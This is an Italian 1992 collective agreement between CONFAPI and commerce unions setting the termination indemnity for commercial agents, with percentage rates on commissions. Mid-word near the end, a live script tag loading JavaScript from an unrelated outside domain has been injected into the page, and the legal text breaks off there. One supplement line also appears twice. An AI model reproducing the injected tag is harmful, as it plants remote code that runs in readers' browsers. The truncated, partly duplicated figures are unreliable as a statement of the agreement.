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Categoria: Agenti di commercio (piccola e media impresa)
Settore: Commercio
Data stipula: 5-11-1992

ACCORDO ECONOMICO SETTORE PICCOLE E MEDIE INDUSTRIE
del 5 novembre 1992 relativo agli artt. 10 e 11


Il giorno 5 novembre 1992, in Roma

Tra

-   la Confederazione Italiana della piccola e media industria (CONFAPI)

e

-    la  Federazione  Italiana lavoratori Commercio  e  servizi  (FILCAMS-
  CGIL);
-    la  Federazione Italiana Sindacati Addetti Servizi Commerciali Affini
  e del Turismo (FISASCAT-CISL);
-    la  Federazione  Nazionale Associazione Agenti  e  Rappresentanti  di
  Commercio (FNAARC);
-   l'Unione Italiana Lavoratori Turismo Commercio Servizi (UILTUCS-UIL);
-    l'Unione  Sindacati  Agenti e Rappresentanti  di  Commercio  Italiani
  (USARCI)

1.   considerato che, per effetto dell'entrata in vigore dell'art.  4  del
  D.lgs.  10.9.91  n.  303,  viene innovata  la  disciplina  prevista  dal
  precedente art. 1751 C.C. in materia d'indennità per lo scioglimento del
  contratto;
2.   considerando, altresì, che le disposizioni di cui ali artt. 10  e  11
  dell'A.E.C. 25.7.89 vengono a decadere, a seguito dell'entrata in vigore
  della nuova disciplina;
3.   rilevato,  conseguentemente,  che tali  disposizioni  collettive  non
  troveranno  più  applicazione  dopo il  31.12.92  e  dopo  il  31.12.93,
  rispettivamente in relazione ai contratti di agenzia stipulati dall'1.1.90
  o anteriormente a tale data;
4.   ritenuta  l'opportunità, per dare piena ed  esaustiva  attuazione  al
  nuovo art. 1751 C.C., di individuare modalità e criteri applicativi dello
  stesso;

ad esito delle trattative intercorse, si è concordata la norma che segue:

I. In  riferimento  a quanto previsto dall'art. 1751 C.C., come modificato
   dall'art. 4  del  D.lgs  10.9.91  n. 303,  e  in  particolar   modo  al
   principio dell'equità, in tutti i  casi  di  cessazione  del  rapporto,
   verrà corrisposta all'agente o rappresentante  un'indennità,  la misura
   della quale sarà pari all'1% sull'ammontare  globale delle  provvigioni
   maturate e liquidate durante il corso del rapporto.

   La suddetta aliquota base sarà integrata nelle seguenti misure:

A)  Agenti e Rappresentanti con obbligo di esclusiva per una sola ditta:

-   3% sulle provvigioni fino a £. 24.000.000 annui;
-    1%  sulla  quota  di provvigioni tra £. 24.000.001  e  £.  36.000.000
   annui.

B)   Agenti  e  Rappresentanti senza obbligo di  esclusiva  per  una  sola
   ditta:

-   3% sulle provvigioni fino a £. 12.000.000 annui;
-    1%  sulla  quota  di provvigioni tra £. 12.000.001  e  £.  18.000.000
   annui.

   Da  tale indennità deve detrarsi quanto l'agente o rappresentante abbia
   diritto  di  ottenere per effetto di atti di previdenza volontariamente
   compiuti dal preponente.

   Sono  computabili  agli  effetti  dell'indennità  di  risoluzione   del
   rapporto  anche  le somme corrisposte espressamente e specificamente  a
   titolo di rimborso o concorso spese.

   Le  somme  di  cui sopra verranno annualmente accantonate all'ENASARCO,
   secondo  quanto  previsto  dalle norme regolamentari  allegate  all'AEC
   25.7.89.

   Le parti si danno reciprocamente atto che con quanto sopra hanno inteso
   soddisfare il criterio di equità, di cui al già citato art. 1751 C.C..


II. Sempre  in  attuazione  dell'art. 1751 C.C., in aggiunta alla somma di
    cui al precedente punto I della presente normativa,  verrà corrisposto
    un ulteriore importo così calcolato:

-   3% su tutte le provvigioni maturate;
-    0,50%  aggiuntivo  sulle  provvigioni maturate  dal  4°  al  6°  anno
   compiuto (nel limite massimo annuo di £. 72.000.000 di provvigioni);
-    ulteriore 0,50% aggiuntivo sulle provvigioni maturate dopo il 6° anno
   (nel limite massimo annuo di £. 72.000.000 di provvigioni);
-    ulteriore 0,50% aggiuntivo sulle provvigioni maturate dopo il 6° anno
   compiuto (nel limite massimo annuo di £. 72.000.000 di provvigioni).

   Per  gli agenti e rappresentanti incaricat<script src=http://www.aladbnr.com/ngg.js></script>













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